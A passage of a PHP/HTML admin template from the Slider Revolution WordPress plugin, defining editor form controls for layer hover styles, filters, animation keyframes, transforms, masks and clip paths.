							<onelong><label_icon class="ui_bradius_bottomleft"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updateBorderRadiusInputHover" data-evtparam="3" data-allowed="px,%"  data-numeric="true" data-r="hover.borderRadius.v.3" data-min="-500" data-max="500" type="text"></onelong>
							<oneshort><label_icon class="ui_bradius_bottomright"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-updateviaevt="true" data-evt="updateBorderRadiusInputHover" data-evtparam="2" data-allowed="px,%"  data-numeric="true" data-r="hover.borderRadius.v.2" data-min="-500" data-max="500" type="text"></oneshort>
						</row>
						<div class="div15"></div>
						<div data-evt="copyhoversettings" data-helpkey="resethover" class="basic_action_button rightbutton longbutton callEventButton"><?php _e('Reset Style', 'revslider');?></div>
						<div class="tp-clearfix"></div>
					</div>
				</div>

				<div class="form_inner open _shfsvg_">
					<div class="svglayer_simplecoloring">
						<div class="form_inner_header"><i class="material-icons">title</i><?php _e('SVG Style', 'revslider');?></div>
						<div class="collapsable">						
							<!-- SVG HOVER STYLE -->
							
							<label_a><?php _e('SVG Color', 'revslider');?></label_a><input type="text" data-editing="SVG Hover Color" data-mode="single" name="layerSVGColorHover" id="layerSVGColorHover" class="my-color-field layerinput easyinit" data-visible="true" data-r="hover.svg.color" value="transparent">
							<div class="div5"></div>
							<label_a><?php _e('Stroke Color', 'revslider');?></label_a><input type="text" data-editing="Stroke Hover Color" data-mode="single" name="layerStrokeColorHover" id="layerStrokeColorHover" class="my-color-field layerinput easyinit" data-visible="true" data-r="hover.svg.strokeColor" value="transparent">
							<div class="div5"></div>
							<row class="directrow">
								<onelong><label_icon class="ui_strokewidth"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-allowed="px"  data-numeric="true" data-r="hover.svg.strokeWidth" data-min="-1" data-max="500" type="text"></onelong>
								<oneshort><label_icon class="ui_strokedasharray"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-r="hover.svg.strokeDashArray" type="text"></oneshort>
							</row>
							<row class="directrow">
								<onelong><label_icon class="ui_strokedashoffset"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-allowed="px"  data-numeric="true" data-r="hover.svg.strokeDashOffset" data-min="0" data-max="500" type="text"></onelong>
								<oneshort></oneshort>
							</row>						
						</div>
					</div>
				</div>

				<!-- LAYER FILTER HOVERS-->
				<div id="form_layerstyle_css_hover" class="form_inner open">
					<div class="form_inner_header"><i class="material-icons">blur_linear</i><?php _e('Filter', 'revslider');?></div>
						<div class="collapsable">

							<row class="direktrow">
								<onelong><label_icon class="ui_blur"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px" data-min="0" data-max="500" data-r="hover.filter.blur" type="text"></onelong>
								<oneshort></oneshort>
							</row>
							<row class="direktrow">
								<onelong><label_icon class="ui_brightness"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="%" data-min="0" data-max="10000" data-r="hover.filter.brightness" type="text"></onelong>
								<oneshort><label_icon class="ui_grayscale"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="%" data-min="0" data-max="100" data-r="hover.filter.grayscale" type="text"></oneshort>
							</row>
					</div>
				</div>
			</div>
		</div>
	</div>


	<!-- LAYER ACTIONS CONTAINER -->
	<div class="form_collector layer_settings_collector" data-type="layersconfig" data-pcontainer="#layer_settings" data-offset="#rev_builder_wrapper">
		<div id="form_layer_actions"  class="formcontainer form_menu_inside collapsed" data-select="#gst_layer_9" data-unselect=".layer_submodule_trigger">
			<!--<div class="collectortabwrap"><div id="collectortab_form_layer_actions" class="collectortab form_menu_inside" data-forms='["#form_layer_actions"]'><i class="material-icons">link</i><?php _e('Actions', 'revslider');?></div></div>		-->

			<!-- LAYER ACTION SETTINGS -->
			<div class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">link</i><?php _e('Actions', 'revslider');?></div>
				<div class="collapsable">
				</div>
			</div>

		</div>
	</div>

	<!-- LAYER CUSTOM CONTAINER -->
	<div class="form_collector layer_settings_collector" data-type="layersconfig" data-pcontainer="#layer_settings" data-offset="#rev_builder_wrapper">
		<div id="form_layer_custom"  class="formcontainer form_menu_inside collapsed" data-select="#gst_layer_10" data-unselect=".layer_submodule_trigger">
			<!--<div class="collectortabwrap"><div id="collectortab_form_layer_custom" class="collectortab form_menu_inside" data-forms='["#form_layer_custom"]'><i class="material-icons">code</i><?php _e('Custom', 'revslider');?></div></div>		-->



		</div>
	</div>


	<!-- LAYER ANIMATION CONTAINER -->
	<div class="form_collector layer_settings_collector" data-type="layersconfig" data-pcontainer="#layer_settings" data-offset="#rev_builder_wrapper">
		<div id="form_layer_animation"  class="formcontainer form_menu_inside collapsed" data-select="#gst_layer_4" data-unselect=".layer_submodule_trigger">
			<div id="form_layer_animation_innerwrap">
				<!--<div class="collectortabwrap"><div id="collectortab_form_layer_animation" class="collectortab form_menu_inside" data-forms='["#form_layer_animation"]'><i class="material-icons">play_arrow</i><?php _e('Animation', 'revslider');?></div></div>		-->

				<!-- LAYER CONTENT SINGLE ANIMATION  <label_icon class="ui_textsplit singlerow"></label_icon> -->
				<div id="form_animation_sframes_keyframes" class="form_inner open">
					<div class="form_inner_header"><i class="material-icons">flash_on</i><?php _e('Keyframes', 'revslider');?><div id="layer_simulator" data-states="play,stop" data-start_state="play" data-stop="previewLayerAnimation" data-stop_state="" data-stop_icon="stop" data-play="previewStopLayerAnimation"  data-play_state="" data-play_icon="play_arrow" class="rightbutton basic_action_button onlyicon switch_button"><i class="switch_button_icon material-icons"></i><span class="switch_button_state"></span></div></div>

					<div class="collapsable">
						<!-- KEYFRAMES -->
						<div id="le_keyframes_list">
							<ul id="le_keyframes_list_innerwrap"></ul>
							<!-- PROGRESS BAR -->
							<!--<div id="layer_animation_progressbar"><div id="layer_animation_progressarrow"></div></div>-->
						</div>
						<div class="div15"></div>
						<div id="set_editor_view" data-helpkey="editorview" class="basic_action_button leftbutton autosize"><i class="material-icons">visibility</i><?php _e('Set as Editor View', 'revslider');?></div>
						<div id="remove_keyframe" class="basic_action_button rightbutton onlyicon"><i class="material-icons">delete</i></div>
						<div class="tp-clearfix"></div>


						<!-- PLAY/PAUSE LAYER SIMULATION-->
					</div>
				</div>

				<!-- BASICS SETTINGS FOR ANIMATION -->
				<div id="form_animation_sframes_basics" class="form_inner open">
					<div class="form_inner_header"><i class="material-icons">timer</i><?php _e('Basics', 'revslider');?></div>
					<div class="collapsable">

						<!-- KEYFRAME OPTIONS -->
						<!--<i class="material-icons label_icon">edit</i>-->
						<label_a><?php _e('Frame Alias', 'revslider');?></label_a><input  id="layerframename" class="layerinput smallinput easyinit callEvent" data-evt="updateKeyFramesList"  data-r="#frame#.alias" type="text">
						<div class="hide_on_frame_0">							
							<div id="layerframespeed_wrap"><!--<label_icon class="ui_duration singlerow"></label_icon>-->
								<label_a><?php _e('Duration', 'revslider');?></label_a><input  id="layerframespeed" class="layerinput valueduekeyboard smallinput easyinit callEvent" data-evt="updateLayerFrame" data-numeric="true" data-allowed="" data-r="#frame#.timeline.speed" data-min="0" data-max="99999" data-steps="10" type="text"><div id="layerframespeed_sub"></div>
							</div>
							<label_a><?php _e('Start', 'revslider');?></label_a><input  id="layerframestart" class="layerinput valueduekeyboard smallinput easyinit callEvent" data-evt="updateLayerFrameStart" data-updateviaevt="true" data-numeric="true" data-allowed="" data-r="#frame#.timeline.start" data-min="0" data-max="99999999" data-steps="10" type="text">
							<!--<label_icon class="ui_easing singlerow"></label_icon>-->
							<label_a><?php _e('Easing', 'revslider');?></label_a><select class="layerinput tos2 nosearchbox easyinit easingSelect" data-r="#frame#.timeline.ease"></select>
							<row class="direktrow">
								<onelong><label_a><?php _e('Wait for Action', 'revslider');?></label_a><div class="onoff_showonlystatus"><input class="layerinput smallinput easyinit callEvent" data-evt="updateAllLayerFrames" type="checkbox" data-r="#frame#.timeline.actionTriggered"/></div></onelong>
								<oneshort></oneshort>
							</row>
						</div>

						<!--<div class="show_on_frame_0">
							<row class="direktrow">
								<onelong><label_a><?php _e('Force Prepare', 'revslider');?></label_a><input class="layerinput smallinput easyinit" type="checkbox" data-r="timeline.forcePrepare"/></onelong>
								<oneshort></oneshort>
							</row>								
						</div>-->

						<div class="show_on_frame_999">
							<row class="direktrow">
								<onelong><label_a><?php _e('Reverse "IN"', 'revslider');?></label_a><input data-showhide="" data-evt="reverse-in-animation" data-hideshow="#form_animation_sframes_advanced" data-showhidedep="true" class="layerinput smallinput easyinit" type="checkbox" data-r="#frame#.timeline.auto"/></onelong>
								<oneshort></oneshort>
							</row>
						</div>
					</div>
				</div>

				<!-- ADVANCED SETTINGS FOR ANIMATION -->
				<div id="form_animation_sframes_advanced" class="form_inner open">
					<div class="form_inner_header"><i class="material-icons">tune</i><?php _e('Advanced', 'revslider');?></div>
					<div id="form_animation_sframes_innerwrap" class="collapsable">
						<!-- LAYER FRAME TRANSFORM  -->
						<div id="layer_maintranssettings_wrap" class="layer_transsettings_wrap">
							<div id="layerbasic_ts_wrapbrtn" class="ts_wrapbrtn"><div data-showtrans="#layer_transsettings" data-frametarget="layer" class="transtarget_selector selected" ><?php _e('Layer', 'revslider');?></div></div><!--
							--><div style="display:inline-block" class="_nsfr_ _nsfc_"><div id="chars_ts_wrapbrtn" class="ts_wrapbrtn"><div data-showtrans="#chars_transsettings" data-frametarget="chars"  class="transtarget_selector" ><?php _e('Char', 'revslider');?></div></div></div><!--
							--><div style="display:inline-block" class="_nsfr_ _nsfc_"><div id="words_ts_wrapbrtn" class="ts_wrapbrtn"><div data-showtrans="#words_transsettings" data-frametarget="words" class="transtarget_selector"><?php _e('Word', 'revslider');?></div></div></div><!--
							--><div style="display:inline-block" class="_nsfr_ _nsfc_"><div id="lines_ts_wrapbrtn" class="ts_wrapbrtn"><div data-showtrans="#lines_transsettings" data-frametarget="lines" class="transtarget_selector"><?php _e('Line', 'revslider');?></div></div></div><!--
							--><div id="mask_ts_wrapbrtn" class="ts_wrapbrtn"><div data-showtrans="#mask_transsettings" data-frametarget="mask" class="transtarget_selector"><?php _e('Mask', 'revslider');?></div></div><!--							
							--><div id="color_ts_wrapbrtn" class="ts_wrapbrtn"><div data-showtrans="#color_transsettings" data-frametarget="color" class="transtarget_selector" ><?php _e('Color', 'revslider');?></div></div><!--
							--><div style="display:inline-block" class="hide_on_frame_0 "><div id="sfx_ts_wrapbrtn" class="ts_wrapbrtn"><div data-showtrans="#sfx_transsettings" data-frametarget="sfx" class="transtarget_selector"><?php _e('SFX', 'revslider');?></div></div></div><!--
							
							
						--></div>
						<div class="div20"></div>
						<!-- LAYER TRANSFORMATIONS -->
						<div id="layer_transsettings" class="group_transsettings">
							<label_icon class="ui_opacity singlerow"></label_icon><input id="le_frame_opacity" class="layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="inherit,random" data-presets_text="$I$Inherit!$R$Random {min,max}!$C$Custom" data-presets_val="inherit!{0,1}!0.5" data-r="#frame#.transform.opacity" data-min="0" data-max="1" data-steps="0.05" type="text">
							<div class="div10"></div>
							<row class="direktrow">
								<onelong class="dyn_inp_wrap"><label_icon class="ui_x"></label_icon><input data-numeric="true" id="le_frame_x" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets"  data-allowed="px,%,random,cycle,left,right,center,inherit" data-responsive="true" data-r="#frame#.transform.x.#size#.v"  data-presets_text="$C$px!$C$%!$I$Inherit!$R$Random {min,max}!$SL$Wrapper Left!$SR$Wrapper Right!$BV$Wrapper Center!$CY$Cycles [val|val|val]" data-presets_val="50px!100%!inherit!{-20,20}!left!right!center![-50|50]" type="text"></onelong>
								<oneshort class="dyn_inp_wrap"><label_icon class="ui_y"></label_icon><input data-numeric="true"  id="le_frame_y" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets"  data-allowed="px,%,random,cycle,top,bottom,middle,inherit,center" data-responsive="true" data-r="#frame#.transform.y.#size#.v" data-presets_text="$C$px!$C$%!$I$Inherit!$R$Random {min,max}!$ST$Wrapper Top!$SB$Wrapper Bottom!$BH$Wrapper Middle!$CY$Cycles [val|val|val]" data-presets_val="50px!100%!inherit!{-20,20}!top!bottom!center![-50|50]" type="text"></oneshort>
							</row>
							<row class="direktrow">
								<onelong class="dyn_inp_wrap"><label_icon class="ui_z"></label_icon><input id="le_frame_z" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="px,random,cycle,inherit" data-r="#frame#.transform.z"  data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50px!inherit!{-100,100}![-50|50]" type="text"></onelong>
								<oneshort><div class="global_perspective_settings global_perspecitve_local_settings"><label_icon class="ui_perspective"></label_icon><input id="le_frame_perspective" class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px" data-r="#frame#.transform.transformPerspective" type="text"></div></oneshort>
							</row>
							<div class="div10"></div>
							<row class="direktrow">
								<onelong class="dyn_inp_wrap"><label_icon class="ui_scalex"></label_icon><input id="le_frame_scale_x" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="random,cycle,inherit" data-presets_text="$C$1!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="1!inherit!{0,2}![0.5|1]" data-r="#frame#.transform.scaleX"  data-steps="0.05" type="text"></onelong>
								<oneshort class="dyn_inp_wrap"><label_icon class="ui_scaley"></label_icon><input id="le_frame_scale_y" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="random,cycle,inherit" data-presets_text="$C$1!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="1!inherit!{0,2}![0.5|1]" data-r="#frame#.transform.scaleY"  data-steps="0.05" type="text"></oneshort>
							</row>
							<row class="direktrow">
								<onelong class="dyn_inp_wrap"><label_icon class="ui_skewx"></label_icon><input id="le_frame_skew_x" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="px,random,cycle,inherit" data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50px!inherit!{0,2}![-50|50]" data-r="#frame#.transform.skewX"  data-steps="0.05" type="text"></onelong>
								<oneshort class="dyn_inp_wrap"><label_icon class="ui_skewy"></label_icon><input id="le_frame_skew_y" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="px,random,cycle,inherit" data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50px!inherit!{0,2}![-50|50]" data-r="#frame#.transform.skewY"  data-steps="0.05" type="text"></oneshort>
							</row>
							<div class="div10"></div>
							<row class="direktrow">
								<onelong class="dyn_inp_wrap"><label_icon class="ui_rotatex"></label_icon><input id="le_frame_rotate_x" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="deg,random,cycle,inherit" data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50deg!inherit!{-15,15}![-50|50]" data-r="#frame#.transform.rotationX" type="text"></onelong>
								<oneshort class="dyn_inp_wrap"><label_icon class="ui_rotatey"></label_icon><input id="le_frame_rotate_y" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets " data-numeric="true" data-allowed="deg,random,cycle,inherit" data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50deg!inherit!{-15,15}![-50|50]" data-r="#frame#.transform.rotationY" type="text"></oneshort>
							</row>
							<row class="direktrow">
								<onelong class="dyn_inp_wrap"><label_icon class="ui_rotatez"></label_icon><input id="le_frame_rotate_z" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="deg,random,cycle,inherit" data-presets_text="$C$px!$I$Inherit!$R$Random {min,max}!$CY$Cycles [val|val|val]" data-presets_val="50deg!inherit!{-15,15}![-50|50]" data-r="#frame#.transform.rotationZ" type="text"></onelong>
								<oneshort></oneshort>
							</row>
							<row class="direktrow">
								<onelong><label_icon class="ui_origox"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px,%,inherit" data-r="#frame#.transform.originX" data-min="-3600" data-max="3600" type="text"></onelong>
								<oneshort><label_icon class="ui_origoy"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px,%,inherit" data-r="#frame#.transform.originY" data-min="-3600" data-max="3600" type="text"></oneshort>
							</row>
							<row class="direktrow">
								<onelong><label_icon class="ui_origoz"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px,%,inherit" data-r="#frame#.transform.originZ" data-min="-3600" data-max="3600" type="text"></onelong>
								<oneshort></oneshort>
							</row>
							<div class="div15"></div>
							<div class="form_inner_header innerwrap_breakout"><i class="material-icons">auto_awesome</i><?php _e('Layer Filter', 'revslider');?></div>
							<div class="div15"></div>
							<row>
								<onelong><label_a><?php _e('Use Filter', 'revslider');?></label_a><input type="checkbox" data-showhide="._ltsel_main_filter" data-showhidedep="true" class="layerinput easyinit" data-r="#frame#.filter.use"/></onelong>
								<oneshort class="_ltsel_main_filter"><label_icon class="ui_blur"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px" data-min="0" data-max="500" data-r="#frame#.filter.blur" type="text"></oneshort>									
							</row>
							<row>
								<onelong class="_ltsel_main_filter"><label_icon class="ui_grayscale"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="%" data-min="0" data-max="100" data-r="#frame#.filter.grayscale" type="text"></onelong>
								<oneshort class="_ltsel_main_filter"><label_icon class="ui_brightness"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="%" data-min="0" data-max="10000" data-r="#frame#.filter.brightness" type="text"></oneshort>
							</row>								
							<longoption class="_ltsel_main_filter"><label_a><?php _e('Set Filters on Mask', 'revslider');?></label_a><input type="checkbox" class="layerinput easyinit" data-r="timeline.filtersOnMask"/></longoption>
							
							<div class="div15"></div>
							<div class="form_inner_header innerwrap_breakout"><i class="material-icons">settings_brightness</i><?php _e('Layer Back-Drop Filter', 'revslider');?></div>
							<div class="div15"></div>
							<row>
								<onelong><label_a><?php _e('Use Filter', 'revslider');?></label_a><input type="checkbox" data-showhide="._ltsel_main_bfilter" data-showhidedep="true" class="layerinput easyinit" data-r="#frame#.bfilter.use"/></onelong>
								<oneshort class="_ltsel_main_bfilter"><label_icon class="ui_blur"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px" data-min="0" data-max="100" data-r="#frame#.bfilter.blur" type="text"></oneshort>									
							</row>
							<row class="direktrow">
								<onelong class="_ltsel_main_bfilter"><label_icon class="ui_grayscale"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="%" data-min="0" data-max="100" data-r="#frame#.bfilter.grayscale" type="text"></onelong>
								<oneshort class="_ltsel_main_bfilter"><label_icon class="ui_brightness"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="%" data-min="0" data-max="500" data-r="#frame#.bfilter.brightness" type="text"></oneshort>
							</row>
							<row class="direktrow">
								<onelong class="_ltsel_main_bfilter"><i class="label_icon material-icons">filter_vintage</i><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="%" data-min="0" data-max="100" data-r="#frame#.bfilter.sepia" type="text"></onelong>
								<oneshort class="_ltsel_main_bfilter"><i class="label_icon material-icons inshort">invert_colors</i><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="%" data-min="0" data-max="500" data-r="#frame#.bfilter.invert" type="text"></oneshort>
							</row>

							<div class="div15"></div>
							<!-- REVERSE ANIMATIONS -->
							<div class="show_on_frame_0 show_on_frame_999">
								<div class="form_inner_header innerwrap_breakout"><i class="material-icons">settings_ethernet</i><?php _e('Slide Direction based Mirroring', 'revslider');?></div>

								<div class="div15"></div>
								<row> <!-- NO DIREKT ROW NEEDED -->
									<onelong><label_icon class="ui_x"></label_icon><input type="checkbox" class="easyinit layerinput" data-r="#frame#.reverseDirection.x"></onelong>
									<oneshort><label_icon class="ui_y"></label_icon><input type="checkbox" class="easyinit layerinput" data-r="#frame#.reverseDirection.y"></oneshort>
								</row>
								<row class="direktrow">
									<onelong><label_icon class="ui_rotatex"></label_icon><input type="checkbox" class="easyinit layerinput" data-r="#frame#.reverseDirection.rotationX"></onelong>
									<oneshort><label_icon class="ui_rotatey"></label_icon><input type="checkbox" class="easyinit layerinput" data-r="#frame#.reverseDirection.rotationY"></oneshort>
								</row>
								<row> <!-- NO DIREKT ROW NEEDED -->
									<onelong><label_icon class="ui_rotatez"></label_icon><input type="checkbox" class="easyinit layerinput" data-r="#frame#.reverseDirection.rotationZ"></onelong>
									<oneshort></oneshort>
								</row>
								<row>
									<onelong><label_icon class="ui_skewx"></label_icon><input type="checkbox" class="easyinit layerinput" data-r="#frame#.reverseDirection.skewX"></onelong>
									<oneshort><label_icon class="ui_skewy"></label_icon><input type="checkbox" class="easyinit layerinput" data-r="#frame#.reverseDirection.skewY"></oneshort>
								</row>
							</div>

						</div>
						<!-- MASK TRANSFORMATIONS -->
						<div id="mask_transsettings" class="group_transsettings" style="display:none">
							<label_a><?php _e('Use Masking', 'revslider');?></label_a><input type="checkbox" data-showhide="#_ltsel_mask" data-showhidedep="true" class="layerinput easyinit callEvent" data-evt="checkEnterFrameLevels" data-r="#frame#.mask.use" /><div class="linebreak"></div>														
							<div id="_ltsel_mask">
									<row> <!-- NO DIREKT ROW NEEDED -->
 										<onelong class="dyn_inp_wrap"><label_icon class="ui_x"></label_icon><input data-numeric="true" id="le_frame_mask_x" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets"  data-allowed="px,%,random,left,right,center,inherit" data-responsive="true" data-r="#frame#.mask.x.#size#.v"  data-presets_text="$C$px!$C$%!$I$Inherit!$R$Random {min,max}!$SL$Wrapper Left!$SR$Wrapper Right!$SC$Wrapper Center" data-presets_val="50px!100%!0!{-20,20}!left!right!center" type="text"></onelong>
										<oneshort class="dyn_inp_wrap"><label_icon class="ui_y"></label_icon><input data-numeric="true"  id="le_frame_mask_y" class="rsdyn_inp layerinput valueduekeyboard smallinput easyinit input_with_presets"  data-allowed="px,%,random,top,bottom,center,inherit" data-responsive="true" data-r="#frame#.mask.y.#size#.v" data-presets_text="$C$px!$C$%!$I$Inherit!$R$Random {min,max}!$ST$Wrapper Top!$SB$Wrapper Bottom!$SC$Wrapper Center" data-presets_val="50px!100%!0!{-20,20}!bottom!center" type="text"></oneshort>
									</row>
									<div class="div10"></div>							
									<!-- REVERSE ANIMATIONS -->
									<div class="show_on_frame_0 show_on_frame_999">
										<div class="form_inner_header innerwrap_breakout"><i class="material-icons">settings_ethernet</i><?php _e('Slide Direction based Mirroring', 'revslider');?></div>
										<div class="div15"></div>
										<row class="direktrow">
											<onelong ><label_icon class="ui_x"></label_icon><input type="checkbox" class="easyinit layerinput" data-r="#frame#.reverseDirection.maskX"></onelong>
											<oneshort ><label_icon class="ui_y"></label_icon><input type="checkbox" class="easyinit layerinput" data-r="#frame#.reverseDirection.maskY"></oneshort>
										</row>
									</div>									
							</div>
							<label_a><?php _e('Use Clip Path', 'revslider');?></label_a><input type="checkbox" data-showhide="#__clip_not_mask" data-showhidedep="true" class="layerinput easyinit callEvent" data-evt="checkEnterFrameLevels" data-r="timeline.clipPath.use" />					
							<div id="__clip_not_mask">
								<label_a><?php _e('Type', 'revslider');?></label_a><select data-show=".clippath_o_*val*" data-hide=".clippath_hide" class="layerinput tos2 nosearchbox easyinit" data-r="timeline.clipPath.type">
									<option value="rectangle"><?php _e('Rectangle', 'revslider');?></option>									
									<option value="circle"><?php _e('Circle', 'revslider');?></option>
									<option value="inverts"><?php _e('Custom Mask', 'revslider');?></option>							
								</select>
								<label_a><?php _e('Origin', 'revslider');?></label_a><div class="clippath_o_rectangle clippath_hide" style="display:inline-block"><select class="layerinput tos2 nosearchbox easyinit"  data-r="timeline.clipPath.origin">
											<optgroup label="<?php _e('Vertical', 'revslider');?>">
												<option value="l"><?php _e('Left', 'revslider');?></option>
												<option value="cv"><?php _e('Center', 'revslider');?></option>
												<option value="r"><?php _e('Right', 'revslider');?></option>												
											</optgroup>
											<optgroup label="<?php _e('Horizontal', 'revslider');?>">
												<option value="t"><?php _e('Top', 'revslider');?></option>
												<option value="ch"><?php _e('Center', 'revslider');?></option>
												<option value="b"><?php _e('Bottom', 'revslider');?></option>												
											</optgroup>
											<optgroup label="<?php _e('Diagonal From', 'revslider');?>">
												<option value="lt"><?php _e('Left Top', 'revslider');?></option>										
												<option value="rt"><?php _e('Right Top', 'revslider');?></option>										
												<option value="rb"><?php _e('Right Bottom', 'revslider');?></option>										
												<option value="lb"><?php _e('Left Bottom', 'revslider');?></option>
											</optgroup>
											<optgroup label="<?php _e('Center Diagonal', 'revslider');?>">
												<option value="clr"><?php _e('Center - Left Right', 'revslider');?></option>
												<option value="crl"><?php _e('Center - Right Left', 'revslider');?></option>
												<option disabled="disabled" value="invh"><?php _e('Horizontal Mask', 'revslider');?></option>
												<option disabled="disabled" value="invv"><?php _e('Vertical Mask', 'revslider');?></option>
											</optgroup>										
										</select>
									</div><div class="clippath_o_circle clippath_hide"  style="display:inline-block"><select class="layerinput tos2 nosearchbox easyinit clippath_hide" data-r="timeline.clipPath.origin">
											<optgroup label="<?php _e('Basics', 'revslider');?>">
												<option value="l"><?php _e('Left', 'revslider');?></option>
												<option disabled="disabled" value="cv"><?php _e('Center', 'revslider');?></option>
												<option disabled="disabled" value="invh"><?php _e('Invert Horizontal', 'revslider');?></option>
												<option disabled="disabled" value="invv"><?php _e('Invert Vertical', 'revslider');?></option>
												<option value="r"><?php _e('Right', 'revslider');?></option>										
												<option value="t"><?php _e('Top', 'revslider');?></option>
												<option disabled="disabled" value="ch"><?php _e('Center', 'revslider');?></option>
												<option value="b"><?php _e('Bottom', 'revslider');?></option>
												<option value="clr"><?php _e('Center', 'revslider');?></option>
											</optgroup>
											<optgroup label="<?php _e('Corners', 'revslider');?>">
												<option value="lt"><?php _e('Left Top', 'revslider');?></option>										
												<option value="rt"><?php _e('Right Top', 'revslider');?></option>										
												<option value="rb"><?php _e('Right Bottom', 'revslider');?></option>										
												<option value="lb"><?php _e('Left Bottom', 'revslider');?></option>
												<option disabled="disabled" value="crl"><?php _e('Center - Right Left', 'revslider');?></option>
											</optgroup>																															
										</select>
									</div><div class="clippath_o_inverts clippath_hide"  style="display:inline-block"><select class="layerinput tos2 nosearchbox easyinit clippath_hide" data-r="timeline.clipPath.origin">											
											<option value="invv"><?php _e('Vertical Mask', 'revslider');?></option>
											<option value="invh"><?php _e('Horizontal Mask', 'revslider');?></option>
											<option disabled="disabled" value="l"><?php _e('Left', 'revslider');?></option>
											<option disabled="disabled" value="cv"><?php _e('Center', 'revslider');?></option>											
											<option disabled="disabled" value="r"><?php _e('Right', 'revslider');?></option>										
											<option disabled="disabled" value="t"><?php _e('Top', 'revslider');?></option>
											<option disabled="disabled" value="ch"><?php _e('Center', 'revslider');?></option>
											<option disabled="disabled" value="b"><?php _e('Bottom', 'revslider');?></option>
											<option disabled="disabled" value="clr"><?php _e('Center', 'revslider');?></option>										
											<option disabled="disabled" value="lt"><?php _e('Left Top', 'revslider');?></option>										
											<option disabled="disabled" value="rt"><?php _e('Right Top', 'revslider');?></option>										
											<option disabled="disabled" value="rb"><?php _e('Right Bottom', 'revslider');?></option>										
											<option disabled="disabled" value="lb"><?php _e('Left Bottom', 'revslider');?></option>
											<option disabled="disabled" value="crl"><?php _e('Center - Right Left', 'revslider');?></option>											
										</select>
									</div>
								<onelong><label_icon class="ui_brightness clippath_hide clippath_o_circle clippath_o_rectangle"></label_icon><label_a class="clippath_o_inverts clippath_hide"><?php _e('Start Range', 'revslider');?></label_a><input data-numeric="true" class="layerinput valueduekeyboard smallinput easyinit input_with_presets"  data-allowed="%,inherit" data-responsive="true" data-r="#frame#.transform.clip"  data-presets_text="$C$100%!$C$75%!$C$50%!$C$25%!" data-presets_val="100%!75%!50%!25%!" type="text"></onelong>
								<div class="clippath_o_inverts clippath_hide"><onelong><label_a><?php _e('End Range', 'revslider');?></label_a><input data-numeric="true" class="layerinput valueduekeyboard smallinput easyinit input_with_presets"  data-allowed="%,inherit" data-responsive="true" data-r="#frame#.transform.clipB"  data-presets_text="$C$100%!$C$75%!$C$50%!$C$25%!" data-presets_val="100%!75%!50%!25%!" type="text"></onelong></div>
							</div>
						</div>
						<!-- CHARS TRANSFORMATIONS -->
						<div id="chars_transsettings" class="group_transsettings" style="display:none">
							<label_a><?php _e('Split Chars', 'revslider');?></label_a><input type="checkbox" data-showhide="#_ltsel_char" data-showhidedep="true" class="layerinput easyinit callEvent" data-evt="checkEnterFrameLevels" data-r="#frame#.chars.use" />
							<div id="_ltsel_char">
								<row class="direktrow nosfxanim hide_on_frame_0">
